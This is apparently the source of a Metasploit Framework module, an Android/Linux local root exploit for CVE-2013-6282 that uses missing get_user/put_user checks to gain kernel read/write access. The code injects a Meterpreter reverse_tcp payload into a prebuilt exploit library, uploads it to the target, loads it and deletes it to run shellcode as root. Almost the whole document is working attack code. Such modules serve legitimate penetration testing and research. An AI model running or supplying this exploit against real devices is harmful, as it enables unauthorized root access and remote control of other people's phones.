Path: blob/master/modules/exploits/android/local/put_user_vroot.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Common1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Android get_user/put_user Exploit',16'Description' => %q{17This module exploits a missing check in the get_user and put_user API functions18in the linux kernel before 3.5.5. The missing checks on these functions19allow an unprivileged user to read and write kernel memory.20This exploit first reads the kernel memory to identify the commit_creds and21ptmx_fops address, then uses the write primitive to execute shellcode as uid 0.22The exploit was first discovered in the wild in the vroot rooting application.23},24'License' => MSF_LICENSE,25'Author' => [26'fi01', # libget_user_exploit / libput_user_exploit27'cubeundcube', # kallsyms_in_memory28'timwr', # Metasploit module29],30'References' => [31[ 'CVE', '2013-6282' ],32[ 'URL', 'https://forum.xda-developers.com/t/root-share-vroot-1-6-0-3690-1-click-root-method-lenovo-a706-walkman-f800-etc.2434453/' ],33[ 'URL', 'https://github.com/fi01/libget_user_exploit' ],34[ 'URL', 'https://forum.xda-developers.com/t/root-saferoot-root-for-vruemj7-mk2-and-android-4-3.2565758/' ],35],36'DisclosureDate' => '2013-09-06',37'SessionTypes' => [ 'meterpreter' ],38'Platform' => [ 'android', 'linux' ],39'Targets' => [[ 'Automatic', {}]],40'Payload' => { 'Space' => 2048 },41'DefaultOptions' => {42'WfsDelay' => 120,43'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'44},45'DefaultTarget' => 0,46'Compat' => {47'Meterpreter' => {48'Commands' => %w[49core_loadlib50stdapi_fs_delete_file51stdapi_fs_getwd52]53}54},55'Notes' => {56'SideEffects' => [ ARTIFACTS_ON_DISK ],57'Reliability' => [ UNRELIABLE_SESSION ],58'Stability' => [ CRASH_SAFE ]59}60)61)62end6364def exploit65local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-6282.so')66exploit_data = File.read(local_file, mode: 'rb')6768space = payload_space69payload_encoded = payload.encoded7071# Substitute the exploit shellcode with our own72exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))7374workingdir = session.fs.dir.getwd75remote_file = "#{workingdir}/#{Rex::Text.rand_text_alpha_lower(5)}"76write_file(remote_file, exploit_data)7778print_status("Loading exploit library #{remote_file}")79session.core.load_library(80'LibraryFilePath' => local_file,81'TargetFilePath' => remote_file,82'UploadLibrary' => false,83'Extension' => false,84'SaveToDisk' => false85)86print_status("Loaded library #{remote_file}, deleting")87session.fs.file.rm(remote_file)88print_status("Waiting #{datastore['WfsDelay']} seconds for payload")89end90end919293